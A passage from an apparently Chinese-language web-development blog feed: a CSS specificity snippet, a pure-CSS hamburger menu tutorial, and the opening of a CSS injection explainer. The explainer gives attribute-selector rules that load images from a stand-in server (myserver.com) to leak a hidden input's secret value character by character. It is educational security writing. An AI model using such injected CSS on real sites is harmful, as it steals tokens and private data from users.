</span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">header</span> <span class="nt">p</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">blue</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">:</span><span class="nd">is</span><span class="o">(</span><span class="nt">header</span><span class="o">,</span> <span class="nt">section</span><span class="o">)</span> <span class="nt">p</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">green</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">p</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">blue</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">header</span><span class="o">,</span> <span class="nt">section</span><span class="o">)</span> <span class="nt">p</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">blue</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>第一個選擇器將文本的顏色設置為藍色。使用 <code>:is()</code> 的第二個選擇器與第一個選擇器具有相同的優先級，但由於它位於第一個選擇器之後，因此它將文本顏色從藍色更改為綠色。第三個選擇器的優先級低於第一個和第二個選擇器，對文本沒有影響。最後是第四個，它使用 <code>:where()</code> 函數對文本沒有影響，因為它的零優先級。</p> <hr> <h2 id="瀏覽器兼容性">瀏覽器兼容性</h2> <p>所有瀏覽器，無論是桌面瀏覽器還是移動瀏覽器，都完全支持 <code>:where()</code> 函數，包括對其安全特性的支持。因此，你不必擔心你的樣式是否會在瀏覽器中正確呈現。</p> <hr>https://blog.wayne-project.com/2022-11-21/pure-css-toggle-menu-icon/Mon, 21 Nov 2022 00:00:00 +0000https://blog.wayne-project.com/2022-11-21/pure-css-toggle-menu-icon/<img src="https://live.staticflickr.com/65535/52514242955_fd814a2b16_o.gif" alt="Featured image of post 免JS！純CSS就可打造出，開合式的漢堡選單功能" /><style> .article-content p code { background-color: #f5f5f5; color: #ff3860; } .focus { background: #f1e2e2; color: #d62c2c; padding: 0 5px; } </style> <p><a class="link" href="https://www.minwt.com/webdesign-dev/css/23821.html" target="_blank" rel="noopener" >參考網站</a></p> <hr> <h2 id="前言">前言</h2> <p><img src="https://live.staticflickr.com/65535/52514242940_af6a49395f_o.jpg" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p><strong>選單</strong>一直是製作網頁最基本的功能需求之一，因此對於許多的套件內建都會提供選單的功能，且這些滑動式選單，大部分都是透過 Javascript 所製作而成，最主要的原因就在於，透過 Javascript 可以精準的知道，目前使用是點選<strong>開啟</strong>還是<strong>關閉</strong>。</p> <p>而最近發現一個超酷的寫法，直接透過 HTML 中的核許框，就可判斷目前是開啟還是關閉，再搭配 CSS 就可實作出展開與收合，甚至連漢堡選單的那圖示，也可透過 CSS 繪製出來，且當選單開啟時，還可透過動畫將選單變叉叉的圖示，因此現在就一塊來看看，如何透過純 CSS 打造出開合式漢堡選單吧！</p> <hr> <h2 id="做法">做法</h2> <h3 id="1-加入以下的-html-架構">1. 加入以下的 HTML 架構</h3> <p>首先，先在HTML中加入以下的HTML架構。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">nav</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;nav-box&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;checkbox&#34;</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;menu&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">label</span> <span class="na">for</span><span class="o">=</span><span class="s">&#34;menu&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;line&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;menu&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">label</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;menu-list&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">ul</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>選單1<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>選單2<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>選單3<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">ul</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">nav</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="2-加入-css-設定漢堡選單的圖示">2. 加入 CSS 設定漢堡選單的圖示</h3> <p>接著再透過CSS來設定漢堡選單的圖示。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* </span></span></span><span class="line"><span class="cl"><span class="c">選單線 </span></span></span><span class="line"><span class="cl"><span class="c">*/</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">line</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">24</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">24</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="mh">#FFF</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">cursor</span><span class="p">:</span> <span class="kc">pointer</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">block</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">padding</span><span class="p">:</span> <span class="mi">16</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">position</span><span class="p">:</span> <span class="kc">fixed</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">z-index</span><span class="p">:</span> <span class="mi">2</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span><span class="p">::</span><span class="nd">before</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span><span class="p">::</span><span class="nd">after</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="mh">#222</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">content</span><span class="p">:</span> <span class="s1">&#39;&#39;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">block</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">1</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">position</span><span class="p">:</span> <span class="kc">absolute</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">transition</span><span class="p">:</span> <span class="k">background</span> <span class="kc">ease</span> <span class="mf">.15</span><span class="kt">s</span><span class="p">,</span> <span class="kc">top</span> <span class="kc">ease</span> <span class="mf">.15</span><span class="kt">s</span> <span class="mf">.15</span><span class="kt">s</span><span class="p">,</span> <span class="k">transform</span> <span class="kc">ease</span> <span class="mf">.15</span><span class="kt">s</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">20</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">left</span><span class="p">:</span> <span class="mi">18</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">top</span><span class="p">:</span> <span class="mi">27</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span><span class="p">::</span><span class="nd">before</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">top</span><span class="p">:</span> <span class="mi">-6</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span><span class="p">::</span><span class="nd">after</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">top</span><span class="p">:</span> <span class="mi">6</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="3-加入-checked-屬性的判斷">3. 加入 <strong>:checked</strong> 屬性的判斷</h3> <p>接著再透過 <strong>:checked</strong> 的屬性，來判斷目前為開啟狀態，當選單開啟時，原來的三條線就變成叉叉。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* </span></span></span><span class="line"><span class="cl"><span class="c">點選選單變叉叉 </span></span></span><span class="line"><span class="cl"><span class="c">*/</span> </span></span><span class="line"><span class="cl"><span class="p">#</span><span class="nn">menu</span><span class="p">:</span><span class="nd">checked</span> <span class="o">+</span> <span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="kc">transparent</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">#</span><span class="nn">menu</span><span class="p">:</span><span class="nd">checked</span> <span class="o">+</span> <span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span><span class="p">::</span><span class="nd">before</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">transform</span><span class="p">:</span> <span class="nb">rotate</span><span class="p">(</span><span class="mi">45</span><span class="kt">deg</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">#</span><span class="nn">menu</span><span class="p">:</span><span class="nd">checked</span> <span class="o">+</span> <span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span><span class="p">::</span><span class="nd">after</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">transform</span><span class="p">:</span> <span class="nb">rotate</span><span class="p">(</span><span class="mi">-45</span><span class="kt">deg</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">#</span><span class="nn">menu</span><span class="p">:</span><span class="nd">checked</span> <span class="o">+</span> <span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span><span class="p">::</span><span class="nd">before</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="p">#</span><span class="nn">menu</span><span class="p">:</span><span class="nd">checked</span> <span class="o">+</span> <span class="p">.</span><span class="nc">line</span> <span class="p">.</span><span class="nc">menu</span><span class="p">::</span><span class="nd">after</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">top</span><span class="p">:</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">transition</span><span class="p">:</span> <span class="kc">top</span> <span class="kc">ease</span> <span class="mf">.15</span><span class="kt">s</span><span class="p">,</span> <span class="k">transform</span> <span class="kc">ease</span> <span class="mf">.15</span><span class="kt">s</span> <span class="mf">.15</span><span class="kt">s</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="4-設定開合樣式">4. 設定開合樣式</h3> <p>當選單按鈕處理好後，一樣用 <strong>:checked</strong> 來設定選單展開(200px)與收合(60px)。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* </span></span></span><span class="line"><span class="cl"><span class="c">選單開合 </span></span></span><span class="line"><span class="cl"><span class="c">*/</span> </span></span><span class="line"><span class="cl"><span class="p">#</span><span class="nn">menu</span><span class="p">:</span><span class="nd">checked</span> <span class="o">~</span> <span class="p">.</span><span class="nc">menu-list</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">menu-list</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">60</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="mh">#FFF</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">box-shadow</span><span class="p">:</span> <span class="mi">0</span> <span class="mi">2</span><span class="kt">px</span> <span class="mi">4</span><span class="kt">px</span> <span class="nb">rgba</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mf">.1</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">padding-top</span><span class="p">:</span> <span class="mi">60</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">position</span><span class="p">:</span> <span class="kc">fixed</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">z-index</span><span class="p">:</span> <span class="mi">1</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">transition</span><span class="p">:</span> <span class="kc">all</span> <span class="mf">.3</span><span class="kt">s</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow</span><span class="p">:</span> <span class="kc">hidden</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c">/* </span></span></span><span class="line"><span class="cl"><span class="c">選單向外推 </span></span></span><span class="line"><span class="cl"><span class="c">*/</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">menu-list</span> <span class="nt">ul</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">list-style</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">margin-left</span><span class="p">:</span><span class="mi">70</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">padding</span><span class="p">:</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">menu-list</span> <span class="nt">ul</span><span class="o">&gt;</span><span class="nt">li</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span><span class="kc">block</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span><span class="mi">100</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="5-隱藏-checkbox">5. 隱藏 checkbox</h3> <p>都弄好後，再把 <strong>input 的核許框</strong>給隱藏起來，這樣就可透過純CSS打造出滑動式的漢堡選單啦！</p> <hr> <h2 id="範例預覽">範例預覽</h2> <iframe height="300" style="width: 100%;" scrolling="no" title="blog/pure-css-toggle-menu-icon" src="https://codepen.io/WJDesign/embed/vYrpQRY?default-tab=html%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true"> See the Pen <a href="https://codepen.io/WJDesign/pen/vYrpQRY"> blog/pure-css-toggle-menu-icon</a> by wjdesign (<a href="https://codepen.io/WJDesign">@WJDesign</a>) on <a href="https://codepen.io">CodePen</a>. </iframe> <hr>https://blog.wayne-project.com/2022-10-03/css-injection/Mon, 03 Oct 2022 00:00:00 +0000https://blog.wayne-project.com/2022-10-03/css-injection/<img src="https://live.staticflickr.com/65535/52401028978_fc63caee61_o.jpg" alt="Featured image of post 用 CSS 來偷資料 - CSS injection" /><style> .focus { background: #f1e2e2; color: #d62c2c; padding: 0 5px; } </style> <h2 id="用-css-來偷資料---css-injection上">用 CSS 來偷資料 - CSS injection（上）</h2> <h3 id="參考文章">參考文章</h3> <ul> <li><a class="link" href="https://blog.huli.tw/2022/09/29/css-injection-1/" target="_blank" rel="noopener" >用 CSS 來偷資料 - CSS injection - Huli</a></li> <li><a class="link" href="https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf" target="_blank" rel="noopener" >CSS Injection Attacks</a></li> <li><a class="link" href="https://x-c3ll.github.io/posts/CSS-Injection-Primitives/" target="_blank" rel="noopener" >CSS Injection Primitives</a></li> <li><a class="link" href="https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection" target="_blank" rel="noopener" >HackTricks - CSS Injection</a></li> <li><a class="link" href="https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/" target="_blank" rel="noopener" >Stealing Data in Great style – How to Use CSS to Attack Web Application.</a></li> <li><a class="link" href="https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html" target="_blank" rel="noopener" >Data Exfiltration via CSS + SVG Font</a></li> <li><a class="link" href="https://github.com/masatokinugawa/css-exfiltration-svg-font/" target="_blank" rel="noopener" >Data Exfiltration via CSS + SVG Font - PoC (Safari only)</a></li> <li><a class="link" href="https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/" target="_blank" rel="noopener" >CSS data exfiltration in Firefox via a single injection point</a></li> </ul> <hr> <h3 id="前言">前言</h3> <p>在講到針對網頁前端的攻擊時，你我的心中浮現的八成會是 XSS，但如果你沒辦法在網頁上執行 JavaScript，有沒有其他的攻擊手法呢？例如說，假設可以插入 style 標籤，你能夠做些什麼？</p> <p>在 2018 年的時候，我有寫過一篇 <a class="link" href="https://blog.huli.tw/2018/03/12/css-keylogger/" target="_blank" rel="noopener" >CSS keylogger：攻擊與防禦</a>，那時剛好在 Hacker News 上面看到相關的討論，於是就花了點時間研究了一下。</p> <p>而 4 年後的現在，我從資安的角度重新認識了這個攻擊手法，因此打算寫一兩篇文章來好好講解 CSS injection。</p> <p>這篇的文章內容包含：</p> <ol> <li>什麼是 CSS injection？</li> <li>CSS 偷資料的原理</li> <li>如何偷 hidden input 的資料</li> <li>如何偷 meta 的資料</li> <li>承上，並以 HackMD 為例</li> </ol> <hr> <h3 id="什麼是-css-injection">什麼是 CSS injection？</h3> <p>顧名思義，CSS injection 代表的是你在一個頁面上可以插入任何的 CSS 語法，或是講得更明確一點，你可以使用 <code>&lt;style&gt;</code> 這個標籤。你可能會好奇，為什麼會有這種狀況？</p> <p>我自己認為常見的狀況有兩個，第一個是網站有過濾掉許多標籤，但不覺得 <code>&lt;style&gt;</code> 有問題，所以沒有過濾掉。例如說很多網站都會用現成的 library 來處理 sanitization，其中有一套很有名的叫做 <a class="link" href="https://github.com/cure53/DOMPurify" target="_blank" rel="noopener" >DOMPurify</a>。</p> <p>在 DOMPurify(v2.4.0) 之中，預設就會幫你把各種危險的標籤全都過濾掉，只留下一些安全的，例如說 <code>&lt;h1&gt;</code> 或是 <code>&lt;p&gt;</code> 這種，而重點是 <code>&lt;style&gt;</code> 也在預設的安全標籤裡面，所以如果你沒有特別指定參數，在預設的狀況下，<code>&lt;style&gt;</code> 是不會被過濾掉的，因此攻擊者就可以注入 CSS。</p> <p>第二種狀況則是雖然可以插入 HTML，但是由於 CSP（Content Security Policy）的緣故，沒有辦法執行 JavaScript。既然沒辦法執行 JavaScript，就只能退而求其次，看看有沒有辦法利用 CSS 做出一些惡意行為。</p> <p>那到底有了 CSS injection 之後可以幹嘛？CSS 不是拿來裝飾網頁用的而已嗎？難道幫網頁的背景換顏色也可以是一個攻擊手法？</p> <hr> <h3 id="利用-css-偷資料">利用 CSS 偷資料</h3> <p>CSS 確實是拿來裝飾網頁用的，但是只要結合兩個特性，就可以使用 CSS 來偷資料。</p> <p>第一個特性：屬性選擇器。</p> <p>在 CSS 當中，有幾個選擇器可以選到「屬性符合某個條件的元素」。舉例來說，<code>input[value^=a]</code>，就可以選到 value 開頭是 <code>a</code> 的元素。</p> <p>類似的選擇器有：</p> <ol> <li><code>input[value^=a]</code> 開頭是 a 的（prefix）</li> <li><code>input[value$=a]</code> 結尾是 a 的（suffix）</li> <li><code>input[value*=a]</code> 內容有 a 的（contains）</li> </ol> <p>而第二個特性是：可以利用 CSS 發出 request，例如說載入一張伺服器上的背景圖片，本質上就是在發一個 request。</p> <p>假設現在頁面上有一段內容是 <code>&lt;input name=&quot;secret&quot; value=&quot;abc123&quot;&gt;</code>，而我能夠插入任何的 CSS，我可以這樣寫：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://myserver.com?q=a</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;b&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://myserver.com?q=b</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;c&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://myserver.com?q=c</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="o">//....</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;z&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://myserver.com?q=z</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>會發生什麼事情？</p> <p>因為第一條規則有順利找到對應的元素，所以 input 的背景就會是一張伺服器上的圖片，而瀏覽器就會發 request 到 <code>https://myserver.com?q=a</code>。</p> <p>因此，當我在 server 收到這個 request 的時候，我就知道「input 的 value 屬性，第一個字元是 a」，就順利偷到了第一個字元。</p> <p>這就是 CSS 之所以可以偷資料的原因，透過屬性選擇器加上載入圖片這兩個功能，就能夠讓 server 知道頁面上某個元素的屬性值是什麼。</p> <p>好，現在確認 CSS 可以偷屬性的值了，接下來有兩個問題：</p> <ol> <li>有什麼東西好偷？</li> <li>你剛只示範偷第一個，要怎麼偷第二個字元？</li> </ol> 